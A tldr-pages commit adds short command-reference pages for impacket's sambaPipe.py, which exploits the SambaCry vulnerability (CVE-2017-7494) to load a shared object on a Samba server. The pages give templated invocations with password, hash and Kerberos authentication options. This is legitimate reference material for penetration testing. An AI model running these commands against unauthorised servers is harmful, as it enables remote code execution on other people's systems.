mirror of
https://github.com/tldr-pages/tldr.git
synced 2025-08-25 00:04:01 +02:00
sambaPipe.py, impacket-sambaPipe: add page (#17728)
* sambaPipe.py, impacket-sambaPipe: add page * Fix * :o * 1 * 2
This commit is contained in:
parent
06f710036c
commit
950791e1a2
2 changed files with 31 additions and 0 deletions
7
pages/common/impacket-sambapipe.md
Normal file
7
pages/common/impacket-sambapipe.md
Normal file
|
@ -0,0 +1,7 @@
|
||||||
|
# impacket-sambaPipe
|
||||||
|
|
||||||
|
> This command is an alias of `sambaPipe.py`.
|
||||||
|
|
||||||
|
- View documentation for the original command:
|
||||||
|
|
||||||
|
`tldr sambaPipe.py`
|
24
pages/common/sambapipe.py.md
Normal file
24
pages/common/sambapipe.py.md
Normal file
|
@ -0,0 +1,24 @@
|
||||||
|
# sambaPipe.py
|
||||||
|
|
||||||
|
> Exploit CVE-2017-7494 (SambaCry) to upload and load a shared object (SO) file on a vulnerable Samba server for remote code execution.
|
||||||
|
> More information: <https://github.com/fortra/impacket>.
|
||||||
|
|
||||||
|
- Upload and load a shared object file on a vulnerable Samba server:
|
||||||
|
|
||||||
|
`sambaPipe.py -so {{path/to/file.so}} {{domain}}/{{username}}:{{password}}@{{target}}`
|
||||||
|
|
||||||
|
- Authenticate using NTLM hashes instead of a password:
|
||||||
|
|
||||||
|
`sambaPipe.py -so {{path/to/file.so}} -hashes {{LM_HASH:NT_HASH}} {{domain}}/{{username}}:{{password}}@{{target}}`
|
||||||
|
|
||||||
|
- Use Kerberos authentication for the target:
|
||||||
|
|
||||||
|
`sambaPipe.py -so {{path/to/file.so}} -k -no-pass {{domain}}/{{username}}:{{password}}@{{target}}`
|
||||||
|
|
||||||
|
- Specify a domain controller IP for authentication:
|
||||||
|
|
||||||
|
`sambaPipe.py -so {{path/to/file.so}} -dc-ip {{dc_ip}} {{domain}}/{{username}}:{{password}}@{{target}}`
|
||||||
|
|
||||||
|
- Use a custom port for the SMB connection:
|
||||||
|
|
||||||
|
`sambaPipe.py -so {{path/to/file.so}} -port {{port}} {{domain}}/{{username}}:{{password}}@{{target}}`
|
Loading…
Add table
Reference in a new issue